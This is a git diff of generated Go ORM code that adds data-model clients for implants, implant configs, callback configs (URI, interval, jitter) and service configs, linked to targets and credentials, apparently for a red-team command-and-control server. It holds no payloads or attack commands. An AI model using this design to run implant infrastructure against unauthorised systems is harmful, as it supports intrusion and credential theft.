Implant: NewImplantClient(cfg), + ImplantCallbackConfig: NewImplantCallbackConfigClient(cfg), + ImplantConfig: NewImplantConfigClient(cfg), + ImplantServiceConfig: NewImplantServiceConfigClient(cfg), + Target: NewTargetClient(cfg), }, nil } @@ -100,11 +120,15 @@ func (c *Client) BeginTx(ctx context.Context, opts *sql.TxOptions) (*Tx, error) cfg := c.config cfg.driver = &txDriver{tx: tx, drv: c.driver} return &Tx{ - ctx: ctx, - config: cfg, - Credential: NewCredentialClient(cfg), - File: NewFileClient(cfg), - Target: NewTargetClient(cfg), + ctx: ctx, + config: cfg, + Credential: NewCredentialClient(cfg), + File: NewFileClient(cfg), + Implant: NewImplantClient(cfg), + ImplantCallbackConfig: NewImplantCallbackConfigClient(cfg), + ImplantConfig: NewImplantConfigClient(cfg), + ImplantServiceConfig: NewImplantServiceConfigClient(cfg), + Target: NewTargetClient(cfg), }, nil } @@ -136,6 +160,10 @@ func (c *Client) Close() error { func (c *Client) Use(hooks ...Hook) { c.Credential.Use(hooks...) c.File.Use(hooks...) + c.Implant.Use(hooks...) + c.ImplantCallbackConfig.Use(hooks...) + c.ImplantConfig.Use(hooks...) + c.ImplantServiceConfig.Use(hooks...) c.Target.Use(hooks...) } @@ -335,6 +363,478 @@ func (c *FileClient) Hooks() []Hook { return c.hooks.File } +// ImplantClient is a client for the Implant schema. +type ImplantClient struct { + config +} + +// NewImplantClient returns a client for the Implant from the given config. +func NewImplantClient(c config) *ImplantClient { + return &ImplantClient{config: c} +} + +// Use adds a list of mutation hooks to the hooks stack. +// A call to `Use(f, g, h)` equals to `implant.Hooks(f(g(h())))`. +func (c *ImplantClient) Use(hooks ...Hook) { + c.hooks.Implant = append(c.hooks.Implant, hooks...) +} + +// Create returns a create builder for Implant. +func (c *ImplantClient) Create() *ImplantCreate { + mutation := newImplantMutation(c.config, OpCreate) + return &ImplantCreate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// CreateBulk returns a builder for creating a bulk of Implant entities. +func (c *ImplantClient) CreateBulk(builders ...*ImplantCreate) *ImplantCreateBulk { + return &ImplantCreateBulk{config: c.config, builders: builders} +} + +// Update returns an update builder for Implant. +func (c *ImplantClient) Update() *ImplantUpdate { + mutation := newImplantMutation(c.config, OpUpdate) + return &ImplantUpdate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOne returns an update builder for the given entity. +func (c *ImplantClient) UpdateOne(i *Implant) *ImplantUpdateOne { + mutation := newImplantMutation(c.config, OpUpdateOne, withImplant(i)) + return &ImplantUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOneID returns an update builder for the given id. +func (c *ImplantClient) UpdateOneID(id int) *ImplantUpdateOne { + mutation := newImplantMutation(c.config, OpUpdateOne, withImplantID(id)) + return &ImplantUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// Delete returns a delete builder for Implant. +func (c *ImplantClient) Delete() *ImplantDelete { + mutation := newImplantMutation(c.config, OpDelete) + return &ImplantDelete{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// DeleteOne returns a delete builder for the given entity. +func (c *ImplantClient) DeleteOne(i *Implant) *ImplantDeleteOne { + return c.DeleteOneID(i.ID) +} + +// DeleteOneID returns a delete builder for the given id. +func (c *ImplantClient) DeleteOneID(id int) *ImplantDeleteOne { + builder := c.Delete().Where(implant.ID(id)) + builder.mutation.id = &id + builder.mutation.op = OpDeleteOne + return &ImplantDeleteOne{builder} +} + +// Query returns a query builder for Implant. +func (c *ImplantClient) Query() *ImplantQuery { + return &ImplantQuery{ + config: c.config, + } +} + +// Get returns a Implant entity by its id. +func (c *ImplantClient) Get(ctx context.Context, id int) (*Implant, error) { + return c.Query().Where(implant.ID(id)).Only(ctx) +} + +// GetX is like Get, but panics if an error occurs. +func (c *ImplantClient) GetX(ctx context.Context, id int) *Implant { + obj, err := c.Get(ctx, id) + if err != nil { + panic(err) + } + return obj +} + +// QueryTarget queries the target edge of a Implant. +func (c *ImplantClient) QueryTarget(i *Implant) *TargetQuery { + query := &TargetQuery{config: c.config} + query.path = func(ctx context.Context) (fromV *sql.Selector, _ error) { + id := i.ID + step := sqlgraph.NewStep( + sqlgraph.From(implant.Table, implant.FieldID, id), + sqlgraph.To(target.Table, target.FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, implant.TargetTable, implant.TargetColumn), + ) + fromV = sqlgraph.Neighbors(i.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// QueryConfig queries the config edge of a Implant. +func (c *ImplantClient) QueryConfig(i *Implant) *ImplantConfigQuery { + query := &ImplantConfigQuery{config: c.config} + query.path = func(ctx context.Context) (fromV *sql.Selector, _ error) { + id := i.ID + step := sqlgraph.NewStep( + sqlgraph.From(implant.Table, implant.FieldID, id), + sqlgraph.To(implantconfig.Table, implantconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, implant.ConfigTable, implant.ConfigColumn), + ) + fromV = sqlgraph.Neighbors(i.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// Hooks returns the client hooks. +func (c *ImplantClient) Hooks() []Hook { + return c.hooks.Implant +} + +// ImplantCallbackConfigClient is a client for the ImplantCallbackConfig schema. +type ImplantCallbackConfigClient struct { + config +} + +// NewImplantCallbackConfigClient returns a client for the ImplantCallbackConfig from the given config. +func NewImplantCallbackConfigClient(c config) *ImplantCallbackConfigClient { + return &ImplantCallbackConfigClient{config: c} +} + +// Use adds a list of mutation hooks to the hooks stack. +// A call to `Use(f, g, h)` equals to `implantcallbackconfig.Hooks(f(g(h())))`. +func (c *ImplantCallbackConfigClient) Use(hooks ...Hook) { + c.hooks.ImplantCallbackConfig = append(c.hooks.ImplantCallbackConfig, hooks...) +} + +// Create returns a create builder for ImplantCallbackConfig. +func (c *ImplantCallbackConfigClient) Create() *ImplantCallbackConfigCreate { + mutation := newImplantCallbackConfigMutation(c.config, OpCreate) + return &ImplantCallbackConfigCreate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// CreateBulk returns a builder for creating a bulk of ImplantCallbackConfig entities. +func (c *ImplantCallbackConfigClient) CreateBulk(builders ...*ImplantCallbackConfigCreate) *ImplantCallbackConfigCreateBulk { + return &ImplantCallbackConfigCreateBulk{config: c.config, builders: builders} +} + +// Update returns an update builder for ImplantCallbackConfig. +func (c *ImplantCallbackConfigClient) Update() *ImplantCallbackConfigUpdate { + mutation := newImplantCallbackConfigMutation(c.config, OpUpdate) + return &ImplantCallbackConfigUpdate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOne returns an update builder for the given entity. +func (c *ImplantCallbackConfigClient) UpdateOne(icc *ImplantCallbackConfig) *ImplantCallbackConfigUpdateOne { + mutation := newImplantCallbackConfigMutation(c.config, OpUpdateOne, withImplantCallbackConfig(icc)) + return &ImplantCallbackConfigUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOneID returns an update builder for the given id. +func (c *ImplantCallbackConfigClient) UpdateOneID(id int) *ImplantCallbackConfigUpdateOne { + mutation := newImplantCallbackConfigMutation(c.config, OpUpdateOne, withImplantCallbackConfigID(id)) + return &ImplantCallbackConfigUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// Delete returns a delete builder for ImplantCallbackConfig. +func (c *ImplantCallbackConfigClient) Delete() *ImplantCallbackConfigDelete { + mutation := newImplantCallbackConfigMutation(c.config, OpDelete) + return &ImplantCallbackConfigDelete{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// DeleteOne returns a delete builder for the given entity. +func (c *ImplantCallbackConfigClient) DeleteOne(icc *ImplantCallbackConfig) *ImplantCallbackConfigDeleteOne { + return c.DeleteOneID(icc.ID) +} + +// DeleteOneID returns a delete builder for the given id. +func (c *ImplantCallbackConfigClient) DeleteOneID(id int) *ImplantCallbackConfigDeleteOne { + builder := c.Delete().Where(implantcallbackconfig.ID(id)) + builder.mutation.id = &id + builder.mutation.op = OpDeleteOne + return &ImplantCallbackConfigDeleteOne{builder} +} + +// Query returns a query builder for ImplantCallbackConfig. +func (c *ImplantCallbackConfigClient) Query() *ImplantCallbackConfigQuery { + return &ImplantCallbackConfigQuery{ + config: c.config, + } +} + +// Get returns a ImplantCallbackConfig entity by its id. +func (c *ImplantCallbackConfigClient) Get(ctx context.Context, id int) (*ImplantCallbackConfig, error) { + return c.Query().Where(implantcallbackconfig.ID(id)).Only(ctx) +} + +// GetX is like Get, but panics if an error occurs. +func (c *ImplantCallbackConfigClient) GetX(ctx context.Context, id int) *ImplantCallbackConfig { + obj, err := c.Get(ctx, id) + if err != nil { + panic(err) + } + return obj +} + +// QueryImplantConfigs queries the implantConfigs edge of a ImplantCallbackConfig. +func (c *ImplantCallbackConfigClient) QueryImplantConfigs(icc *ImplantCallbackConfig) *ImplantConfigQuery { + query := &ImplantConfigQuery{config: c.config} + query.path = func(ctx context.Context) (fromV *sql.Selector, _ error) { + id := icc.ID + step := sqlgraph.NewStep( + sqlgraph.From(implantcallbackconfig.Table, implantcallbackconfig.FieldID, id), + sqlgraph.To(implantconfig.Table, implantconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2M, true, implantcallbackconfig.ImplantConfigsTable, implantcallbackconfig.ImplantConfigsPrimaryKey...), + ) + fromV = sqlgraph.Neighbors(icc.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// Hooks returns the client hooks. +func (c *ImplantCallbackConfigClient) Hooks() []Hook { + return c.hooks.ImplantCallbackConfig +} + +// ImplantConfigClient is a client for the ImplantConfig schema. +type ImplantConfigClient struct { + config +} + +// NewImplantConfigClient returns a client for the ImplantConfig from the given config. +func NewImplantConfigClient(c config) *ImplantConfigClient { + return &ImplantConfigClient{config: c} +} + +// Use adds a list of mutation hooks to the hooks stack. +// A call to `Use(f, g, h)` equals to `implantconfig.Hooks(f(g(h())))`. +func (c *ImplantConfigClient) Use(hooks ...Hook) { + c.hooks.ImplantConfig = append(c.hooks.ImplantConfig, hooks...) +} + +// Create returns a create builder for ImplantConfig. +func (c *ImplantConfigClient) Create() *ImplantConfigCreate { + mutation := newImplantConfigMutation(c.config, OpCreate) + return &ImplantConfigCreate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// CreateBulk returns a builder for creating a bulk of ImplantConfig entities. +func (c *ImplantConfigClient) CreateBulk(builders ...*ImplantConfigCreate) *ImplantConfigCreateBulk { + return &ImplantConfigCreateBulk{config: c.config, builders: builders} +} + +// Update returns an update builder for ImplantConfig. +func (c *ImplantConfigClient) Update() *ImplantConfigUpdate { + mutation := newImplantConfigMutation(c.config, OpUpdate) + return &ImplantConfigUpdate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOne returns an update builder for the given entity. +func (c *ImplantConfigClient) UpdateOne(ic *ImplantConfig) *ImplantConfigUpdateOne { + mutation := newImplantConfigMutation(c.config, OpUpdateOne, withImplantConfig(ic)) + return &ImplantConfigUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOneID returns an update builder for the given id. +func (c *ImplantConfigClient) UpdateOneID(id int) *ImplantConfigUpdateOne { + mutation := newImplantConfigMutation(c.config, OpUpdateOne, withImplantConfigID(id)) + return &ImplantConfigUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// Delete returns a delete builder for ImplantConfig. +func (c *ImplantConfigClient) Delete() *ImplantConfigDelete { + mutation := newImplantConfigMutation(c.config, OpDelete) + return &ImplantConfigDelete{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// DeleteOne returns a delete builder for the given entity. +func (c *ImplantConfigClient) DeleteOne(ic *ImplantConfig) *ImplantConfigDeleteOne { + return c.DeleteOneID(ic.ID) +} + +// DeleteOneID returns a delete builder for the given id. +func (c *ImplantConfigClient) DeleteOneID(id int) *ImplantConfigDeleteOne { + builder := c.Delete().Where(implantconfig.ID(id)) + builder.mutation.id = &id + builder.mutation.op = OpDeleteOne + return &ImplantConfigDeleteOne{builder} +} + +// Query returns a query builder for ImplantConfig. +func (c *ImplantConfigClient) Query() *ImplantConfigQuery { + return &ImplantConfigQuery{ + config: c.config, + } +} + +// Get returns a ImplantConfig entity by its id. +func (c *ImplantConfigClient) Get(ctx context.Context, id int) (*ImplantConfig, error) { + return c.Query().Where(implantconfig.ID(id)).Only(ctx) +} + +// GetX is like Get, but panics if an error occurs. +func (c *ImplantConfigClient) GetX(ctx context.Context, id int) *ImplantConfig { + obj, err := c.Get(ctx, id) + if err != nil { + panic(err) + } + return obj +} + +// QueryImplants queries the implants edge of a ImplantConfig. +func (c *ImplantConfigClient) QueryImplants(ic *ImplantConfig) *ImplantQuery { + query := &ImplantQuery{config: c.config} + query.path = func(ctx context.Context) (fromV *sql.Selector, _ error) { + id := ic.ID + step := sqlgraph.NewStep( + sqlgraph.From(implantconfig.Table, implantconfig.FieldID, id), + sqlgraph.To(implant.Table, implant.FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, implantconfig.ImplantsTable, implantconfig.ImplantsColumn), + ) + fromV = sqlgraph.Neighbors(ic.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// QueryServiceConfigs queries the serviceConfigs edge of a ImplantConfig. +func (c *ImplantConfigClient) QueryServiceConfigs(ic *ImplantConfig) *ImplantServiceConfigQuery { + query := &ImplantServiceConfigQuery{config: c.config} + query.path = func(ctx context.Context) (fromV *sql.Selector, _ error) { + id := ic.ID + step := sqlgraph.NewStep( + sqlgraph.From(implantconfig.Table, implantconfig.FieldID, id), + sqlgraph.To(implantserviceconfig.Table, implantserviceconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2M, false, implantconfig.ServiceConfigsTable, implantconfig.ServiceConfigsPrimaryKey...), + ) + fromV = sqlgraph.Neighbors(ic.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// QueryCallbackConfigs queries the callbackConfigs edge of a ImplantConfig. +func (c *ImplantConfigClient) QueryCallbackConfigs(ic *ImplantConfig) *ImplantCallbackConfigQuery { + query := &ImplantCallbackConfigQuery{config: c.config} + query.path = func(ctx context.Context) (fromV *sql.Selector, _ error) { + id := ic.ID + step := sqlgraph.NewStep( + sqlgraph.From(implantconfig.Table, implantconfig.FieldID, id), + sqlgraph.To(implantcallbackconfig.Table, implantcallbackconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2M, false, implantconfig.CallbackConfigsTable, implantconfig.CallbackConfigsPrimaryKey...), + ) + fromV = sqlgraph.Neighbors(ic.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// Hooks returns the client hooks. +func (c *ImplantConfigClient) Hooks() []Hook { + return c.hooks.ImplantConfig +} + +// ImplantServiceConfigClient is a client for the ImplantServiceConfig schema. +type ImplantServiceConfigClient struct { + config +} + +// NewImplantServiceConfigClient returns a client for the ImplantServiceConfig from the given config. +func NewImplantServiceConfigClient(c config) *ImplantServiceConfigClient { + return &ImplantServiceConfigClient{config: c} +} + +// Use adds a list of mutation hooks to the hooks stack. +// A call to `Use(f, g, h)` equals to `implantserviceconfig.Hooks(f(g(h())))`. +func (c *ImplantServiceConfigClient) Use(hooks ...Hook) { + c.hooks.ImplantServiceConfig = append(c.hooks.ImplantServiceConfig, hooks...) +} + +// Create returns a create builder for ImplantServiceConfig. +func (c *ImplantServiceConfigClient) Create() *ImplantServiceConfigCreate { + mutation := newImplantServiceConfigMutation(c.config, OpCreate) + return &ImplantServiceConfigCreate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// CreateBulk returns a builder for creating a bulk of ImplantServiceConfig entities. +func (c *ImplantServiceConfigClient) CreateBulk(builders ...*ImplantServiceConfigCreate) *ImplantServiceConfigCreateBulk { + return &ImplantServiceConfigCreateBulk{config: c.config, builders: builders} +} + +// Update returns an update builder for ImplantServiceConfig. +func (c *ImplantServiceConfigClient) Update() *ImplantServiceConfigUpdate { + mutation := newImplantServiceConfigMutation(c.config, OpUpdate) + return &ImplantServiceConfigUpdate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOne returns an update builder for the given entity. +func (c *ImplantServiceConfigClient) UpdateOne(isc *ImplantServiceConfig) *ImplantServiceConfigUpdateOne { + mutation := newImplantServiceConfigMutation(c.config, OpUpdateOne, withImplantServiceConfig(isc)) + return &ImplantServiceConfigUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOneID returns an update builder for the given id. +func (c *ImplantServiceConfigClient) UpdateOneID(id int) *ImplantServiceConfigUpdateOne { + mutation := newImplantServiceConfigMutation(c.config, OpUpdateOne, withImplantServiceConfigID(id)) + return &ImplantServiceConfigUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// Delete returns a delete builder for ImplantServiceConfig. +func (c *ImplantServiceConfigClient) Delete() *ImplantServiceConfigDelete { + mutation := newImplantServiceConfigMutation(c.config, OpDelete) + return &ImplantServiceConfigDelete{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// DeleteOne returns a delete builder for the given entity. +func (c *ImplantServiceConfigClient) DeleteOne(isc *ImplantServiceConfig) *ImplantServiceConfigDeleteOne { + return c.DeleteOneID(isc.ID) +} + +// DeleteOneID returns a delete builder for the given id. +func (c *ImplantServiceConfigClient) DeleteOneID(id int) *ImplantServiceConfigDeleteOne { + builder := c.Delete().Where(implantserviceconfig.ID(id)) + builder.mutation.id = &id + builder.mutation.op = OpDeleteOne + return &ImplantServiceConfigDeleteOne{builder} +} + +// Query returns a query builder for ImplantServiceConfig. +func (c *ImplantServiceConfigClient) Query() *ImplantServiceConfigQuery { + return &ImplantServiceConfigQuery{ + config: c.config, + } +} + +// Get returns a ImplantServiceConfig entity by its id. +func (c *ImplantServiceConfigClient) Get(ctx context.Context, id int) (*ImplantServiceConfig, error) { + return c.Query().Where(implantserviceconfig.ID(id)).Only(ctx) +} + +// GetX is like Get, but panics if an error occurs. +func (c *ImplantServiceConfigClient) GetX(ctx context.Context, id int) *ImplantServiceConfig { + obj, err := c.Get(ctx, id) + if err != nil { + panic(err) + } + return obj +} + +// QueryImplantConfigs queries the implantConfigs edge of a ImplantServiceConfig. +func (c *ImplantServiceConfigClient) QueryImplantConfigs(isc *ImplantServiceConfig) *ImplantConfigQuery { + query := &ImplantConfigQuery{config: c.config} + query.path = func(ctx context.Context) (fromV *sql.Selector, _ error) { + id := isc.ID + step := sqlgraph.NewStep( + sqlgraph.From(implantserviceconfig.Table, implantserviceconfig.FieldID, id), + sqlgraph.To(implantconfig.Table, implantconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2M, true, implantserviceconfig.ImplantConfigsTable, implantserviceconfig.ImplantConfigsPrimaryKey...), + ) + fromV = sqlgraph.Neighbors(isc.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// Hooks returns the client hooks. +func (c *ImplantServiceConfigClient) Hooks() []Hook { + return c.hooks.ImplantServiceConfig +} + // TargetClient is a client for the Target schema. type TargetClient struct { config @@ -436,6 +936,22 @@ func (c *TargetClient) QueryCredentials(t *Target) *CredentialQuery { return query } +// QueryImplants queries the implants edge of a Target. +func (c *TargetClient) QueryImplants(t *Target) *ImplantQuery { + query := &ImplantQuery{config: c.config} + query.path = func(ctx context.Context) (fromV *sql.Selector, _ error) { + id := t.ID + step := sqlgraph.NewStep( + sqlgraph.From(target.Table, target.FieldID, id), + sqlgraph.To(implant.Table, implant.FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, target.ImplantsTable, target.ImplantsColumn), + ) + fromV = sqlgraph.Neighbors(t.driver.Dialect(), step) + return fromV, nil + } + return query +} + // Hooks returns the client hooks. func (c *TargetClient) Hooks() []Hook { return c.hooks.Target diff --git a/ent/config.go b/ent/config.go index 2706a1e75..d9ebfa80e 100644 --- a/ent/config.go +++ b/ent/config.go @@ -24,9 +24,13 @@ type config struct { // hooks per client, for fast access. type hooks struct { - Credential []ent.Hook - File []ent.Hook - Target []ent.Hook + Credential []ent.Hook + File []ent.Hook + Implant []ent.Hook + ImplantCallbackConfig []ent.Hook + ImplantConfig []ent.Hook + ImplantServiceConfig []ent.Hook + Target []ent.Hook } // Options applies the options on the config object. diff --git a/ent/ent.go b/ent/ent.go index 3f9b6f79f..3296e25bb 100644 --- a/ent/ent.go +++ b/ent/ent.go @@ -10,6 +10,10 @@ import ( "entgo.io/ent/dialect/sql" "github.com/kcarretto/realm/ent/credential" "github.com/kcarretto/realm/ent/file" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" "github.com/kcarretto/realm/ent/target" ) @@ -31,9 +35,13 @@ type OrderFunc func(*sql.Selector) // columnChecker returns a function indicates if the column exists in the given column. func columnChecker(table string) func(string) error { checks := map[string]func(string) bool{ - credential.Table: credential.ValidColumn, - file.Table: file.ValidColumn, - target.Table: target.ValidColumn, + credential.Table: credential.ValidColumn, + file.Table: file.ValidColumn, + implant.Table: implant.ValidColumn, + implantcallbackconfig.Table: implantcallbackconfig.ValidColumn, + implantconfig.Table: implantconfig.ValidColumn, + implantserviceconfig.Table: implantserviceconfig.ValidColumn, + target.Table: target.ValidColumn, } check, ok := checks[table] if !ok { diff --git a/ent/gql_collection.go b/ent/gql_collection.go index f6496e553..3291299aa 100644 --- a/ent/gql_collection.go +++ b/ent/gql_collection.go @@ -40,6 +40,54 @@ func (f *FileQuery) collectField(ctx *graphql.OperationContext, field graphql.Co return f } +// CollectFields tells the query-builder to eagerly load connected nodes by resolver context. +func (i *ImplantQuery) CollectFields(ctx context.Context, satisfies ...string) *ImplantQuery { + if fc := graphql.GetFieldContext(ctx); fc != nil { + i = i.collectField(graphql.GetOperationContext(ctx), fc.Field, satisfies...) + } + return i +} + +func (i *ImplantQuery) collectField(ctx *graphql.OperationContext, field graphql.CollectedField, satisfies ...string) *ImplantQuery { + return i +} + +// CollectFields tells the query-builder to eagerly load connected nodes by resolver context. +func (icc *ImplantCallbackConfigQuery) CollectFields(ctx context.Context, satisfies ...string) *ImplantCallbackConfigQuery { + if fc := graphql.GetFieldContext(ctx); fc != nil { + icc = icc.collectField(graphql.GetOperationContext(ctx), fc.Field, satisfies...) + } + return icc +} + +func (icc *ImplantCallbackConfigQuery) collectField(ctx *graphql.OperationContext, field graphql.CollectedField, satisfies ...string) *ImplantCallbackConfigQuery { + return icc +} + +// CollectFields tells the query-builder to eagerly load connected nodes by resolver context. +func (ic *ImplantConfigQuery) CollectFields(ctx context.Context, satisfies ...string) *ImplantConfigQuery { + if fc := graphql.GetFieldContext(ctx); fc != nil { + ic = ic.collectField(graphql.GetOperationContext(ctx), fc.Field, satisfies...) + } + return ic +} + +func (ic *ImplantConfigQuery) collectField(ctx *graphql.OperationContext, field graphql.CollectedField, satisfies ...string) *ImplantConfigQuery { + return ic +} + +// CollectFields tells the query-builder to eagerly load connected nodes by resolver context. +func (isc *ImplantServiceConfigQuery) CollectFields(ctx context.Context, satisfies ...string) *ImplantServiceConfigQuery { + if fc := graphql.GetFieldContext(ctx); fc != nil { + isc = isc.collectField(graphql.GetOperationContext(ctx), fc.Field, satisfies...) + } + return isc +} + +func (isc *ImplantServiceConfigQuery) collectField(ctx *graphql.OperationContext, field graphql.CollectedField, satisfies ...string) *ImplantServiceConfigQuery { + return isc +} + // CollectFields tells the query-builder to eagerly load connected nodes by resolver context. func (t *TargetQuery) CollectFields(ctx context.Context, satisfies ...string) *TargetQuery { if fc := graphql.GetFieldContext(ctx); fc != nil { diff --git a/ent/gql_edge.go b/ent/gql_edge.go index 41c30431d..e813f62ba 100644 --- a/ent/gql_edge.go +++ b/ent/gql_edge.go @@ -12,6 +12,62 @@ func (c *Credential) Target(ctx context.Context) (*Target, error) { return result, MaskNotFound(err) } +func (i *Implant) Target(ctx context.Context) (*Target, error) { + result, err := i.Edges.TargetOrErr() + if IsNotLoaded(err) { + result, err = i.QueryTarget().Only(ctx) + } + return result, err +} + +func (i *Implant) Config(ctx context.Context) (*ImplantConfig, error) { + result, err := i.Edges.ConfigOrErr() + if IsNotLoaded(err) { + result, err = i.QueryConfig().Only(ctx) + } + return result, err +} + +func (icc *ImplantCallbackConfig) ImplantConfigs(ctx context.Context) ([]*ImplantConfig, error) { + result, err := icc.Edges.ImplantConfigsOrErr() + if IsNotLoaded(err) { + result, err = icc.QueryImplantConfigs().All(ctx) + } + return result, err +} + +func (ic *ImplantConfig) Implants(ctx context.Context) ([]*Implant, error) { + result, err := ic.Edges.ImplantsOrErr() + if IsNotLoaded(err) { + result, err = ic.QueryImplants().All(ctx) + } + return result, err +} + +func (ic *ImplantConfig) ServiceConfigs(ctx context.Context) ([]*ImplantServiceConfig, error) { + result, err := ic.Edges.ServiceConfigsOrErr() + if IsNotLoaded(err) { + result, err = ic.QueryServiceConfigs().All(ctx) + } + return result, err +} + +func (ic *ImplantConfig) CallbackConfigs(ctx context.Context) ([]*ImplantCallbackConfig, error) { + result, err := ic.Edges.CallbackConfigsOrErr() + if IsNotLoaded(err) { + result, err = ic.QueryCallbackConfigs().All(ctx) + } + return result, err +} + +func (isc *ImplantServiceConfig) ImplantConfigs(ctx context.Context) ([]*ImplantConfig, error) { + result, err := isc.Edges.ImplantConfigsOrErr() + if IsNotLoaded(err) { + result, err = isc.QueryImplantConfigs().All(ctx) + } + return result, err +} + func (t *Target) Credentials(ctx context.Context) ([]*Credential, error) { result, err := t.Edges.CredentialsOrErr() if IsNotLoaded(err) { @@ -19,3 +75,11 @@ func (t *Target) Credentials(ctx context.Context) ([]*Credential, error) { } return result, err } + +func (t *Target) Implants(ctx context.Context) ([]*Implant, error) { + result, err := t.Edges.ImplantsOrErr() + if IsNotLoaded(err) { + result, err = t.QueryImplants().All(ctx) + } + return result, err +} diff --git a/ent/gql_node.go b/ent/gql_node.go index fc874e5fd..2c64aaca6 100644 --- a/ent/gql_node.go +++ b/ent/gql_node.go @@ -17,6 +17,10 @@ import ( "github.com/hashicorp/go-multierror" "github.com/kcarretto/realm/ent/credential" "github.com/kcarretto/realm/ent/file" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" "github.com/kcarretto/realm/ent/target" "golang.org/x/sync/semaphore" ) @@ -152,12 +156,222 @@ func (f *File) Node(ctx context.Context) (node *Node, err error) { return node, nil } +func (i *Implant) Node(ctx context.Context) (node *Node, err error) { + node = &Node{ + ID: i.ID, + Type: "Implant", + Fields: make([]*Field, 2), + Edges: make([]*Edge, 2), + } + var buf []byte + if buf, err = json.Marshal(i.SessionID); err != nil { + return nil, err + } + node.Fields[0] = &Field{ + Type: "string", + Name: "sessionID", + Value: string(buf), + } + if buf, err = json.Marshal(i.ProcessName); err != nil { + return nil, err + } + node.Fields[1] = &Field{ + Type: "string", + Name: "processName", + Value: string(buf), + } + node.Edges[0] = &Edge{ + Type: "Target", + Name: "target", + } + err = i.QueryTarget(). + Select(target.FieldID). + Scan(ctx, &node.Edges[0].IDs) + if err != nil { + return nil, err + } + node.Edges[1] = &Edge{ + Type: "ImplantConfig", + Name: "config", + } + err = i.QueryConfig(). + Select(implantconfig.FieldID). + Scan(ctx, &node.Edges[1].IDs) + if err != nil { + return nil, err + } + return node, nil +} + +func (icc *ImplantCallbackConfig) Node(ctx context.Context) (node *Node, err error) { + node = &Node{ + ID: icc.ID, + Type: "ImplantCallbackConfig", + Fields: make([]*Field, 5), + Edges: make([]*Edge, 1), + } + var buf []byte + if buf, err = json.Marshal(icc.URI); err != nil { + return nil, err + } + node.Fields[0] = &Field{ + Type: "string", + Name: "uri", + Value: string(buf), + } + if buf, err = json.Marshal(icc.Priority); err != nil { + return nil, err + } + node.Fields[1] = &Field{ + Type: "int", + Name: "priority", + Value: string(buf), + } + if buf, err = json.Marshal(icc.Timeout); err != nil { + return nil, err + } + node.Fields[2] = &Field{ + Type: "int", + Name: "timeout", + Value: string(buf), + } + if buf, err = json.Marshal(icc.Interval); err != nil { + return nil, err + } + node.Fields[3] = &Field{ + Type: "int", + Name: "interval", + Value: string(buf), + } + if buf, err = json.Marshal(icc.Jitter); err != nil { + return nil, err + } + node.Fields[4] = &Field{ + Type: "int", + Name: "jitter", + Value: string(buf), + } + node.Edges[0] = &Edge{ + Type: "ImplantConfig", + Name: "implantConfigs", + } + err = icc.QueryImplantConfigs(). + Select(implantconfig.FieldID). + Scan(ctx, &node.Edges[0].IDs) + if err != nil { + return nil, err + } + return node, nil +} + +func (ic *ImplantConfig) Node(ctx context.Context) (node *Node, err error) { + node = &Node{ + ID: ic.ID, + Type: "ImplantConfig", + Fields: make([]*Field, 2), + Edges: make([]*Edge, 3), + } + var buf []byte + if buf, err = json.Marshal(ic.Name); err != nil { + return nil, err + } + node.Fields[0] = &Field{ + Type: "string", + Name: "name", + Value: string(buf), + } + if buf, err = json.Marshal(ic.AuthToken); err != nil { + return nil, err + } + node.Fields[1] = &Field{ + Type: "string", + Name: "authToken", + Value: string(buf), + } + node.Edges[0] = &Edge{ + Type: "Implant", + Name: "implants", + } + err = ic.QueryImplants(). + Select(implant.FieldID). + Scan(ctx, &node.Edges[0].IDs) + if err != nil { + return nil, err + } + node.Edges[1] = &Edge{ + Type: "ImplantServiceConfig", + Name: "serviceConfigs", + } + err = ic.QueryServiceConfigs(). + Select(implantserviceconfig.FieldID). + Scan(ctx, &node.Edges[1].IDs) + if err != nil { + return nil, err + } + node.Edges[2] = &Edge{ + Type: "ImplantCallbackConfig", + Name: "callbackConfigs", + } + err = ic.QueryCallbackConfigs(). + Select(implantcallbackconfig.FieldID). + Scan(ctx, &node.Edges[2].IDs) + if err != nil { + return nil, err + } + return node, nil +} + 